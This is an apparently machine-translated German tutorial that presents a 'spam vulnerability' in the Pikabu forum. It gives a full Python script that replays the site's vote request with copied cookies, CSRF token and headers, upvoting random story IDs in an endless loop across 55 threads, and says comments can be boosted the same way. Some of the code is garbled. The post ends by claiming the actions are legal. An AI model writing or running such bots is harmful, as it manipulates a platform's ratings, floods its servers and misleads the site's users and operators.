Guten Tag. Ich möchte über die Spam-Schwachstelle des Pikabu-Forums sprechen.
Ich denke, das Forum ist nicht das beste, also teste ich alles darauf.
Was ist der Punkt?
Die Sicherheitslücke liegt in der Zunahme der Aktivität, der Anzahl der Bewertungen und der Kommentare für die Mindestzeit mithilfe eines Python-Skripts.
Zeig es mir!
Skriptoperation innerhalb von 24 Stunden:

Denken Sie, ich habe den HTML-Code bearbeitet? Und nein!
Wie hast du das gemacht ?!
Sehr einfach!
Erstellen Sie zunächst eine .py-Datei:

Als nächstes importieren wir die Module, mit denen wir Anforderungen zum Ausführen von Aktionen stellen, sowie ein Modul zum Multithreading unseres Skripts:
import requests from threading import Thread
Erstellen wir nun eine Funktion mit einer Endlosschleife, die unsere Anforderungen sendet:
def spam(): while True: req = requests.post('')
Aber woher kennen Sie die Anforderungsdaten?
Öffne FireFox und gehe zu Pikabu.
Wählen Sie ein beliebiges Thema. Bewegen Sie den Mauszeiger über den Aufwärtspfeil:

Drücken Sie nun die Tastenkombination: cntr + shift + i.
Die Entwickler-Symbolleiste wurde auf dem Bildschirm angezeigt:
Um die Vision teurer Forumbenutzer zu bewahren, musste ich das AdBlock-Thema (Ohm) herausschneiden:

Gehen wir zur Registerkarte "Netzwerk".
Jetzt sehen wir alle ausgehenden Anfragen in diesem Browser.
Klicken Sie auf den Pfeil "Thema bewerten" und sehen Sie sich schnell das Abfragefeld an.
Drücken Sie die Taste "Methode", bis die erste Anfrage eine Anfrage vom Typ "POST" ist:

Unter den ersten Abfragen finden Sie diese:

Klicken Sie mit der rechten Maustaste darauf und bewegen Sie den Mauszeiger über die Schaltfläche Kopieren. Wählen Sie POST-Daten kopieren. Fügen Sie als Nächstes die Daten folgendermaßen in die Abfrage ein:
req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, )
Aber dann werden wir den gleichen Beitrag bewerten!
Um dies zu beheben, fügen Sie das "zufällige" Modul mit dem folgenden Code zu den bereits importierten Modulen hinzu:
import random
Und fügen Sie die Zeile zur while-Schleife hinzu:
story = random.randint(1000000, 6865568)
Lassen Sie uns weiterhin eine Anfrage erstellen! Folgendes haben wir bereits getan:
import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, )
Fügen Sie der Anfrage das Wichtigste hinzu - die Überschriften. Kehren wir zu FireFox zurück, klicken Sie einfach mit der rechten Maustaste auf die Anfrage und wählen Sie "Kopieren", diesmal jedoch "Header anfordern".
Fügen Sie sie auf die gleiche Weise über den Doppelpunkt und die Anführungszeichen in den Code ein:
import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': ' ' })
Geben Sie im Feld "Ihre Daten" Ihre Werte ein.
Zeigen Sie den Status der Anfrage an:
print(req)
Wenn "Antwort <200>" angezeigt wird, wurde die Anfrage gesendet und das Thema bewertet.
Als Nächstes machen wir das Skript etwas schneller (genau 55 Mal).
Erstellen Sie Threading für unsere Anfragen:
for i in range(55): thr = Thread(target = spam) thr.start()
Nun, das ist es! Du kannst rennen.
Und hier ist der ganze Code:
import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': ' ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start()
Auf die gleiche Weise werden Cheat-Kommentare gemacht. Ich werde es nicht im Detail erklären, sondern nur den Code auslegen:
Nun, das ist alles. Sie können Beiträge und Kommentare stürmen.
Viel Glück
Liebe Habr.
Die oben genannten Handlungen sind völlig legal und verstoßen nicht gegen mehr als einen Artikel des Strafgesetzbuchs der Russischen Föderation vom 10/02/2019.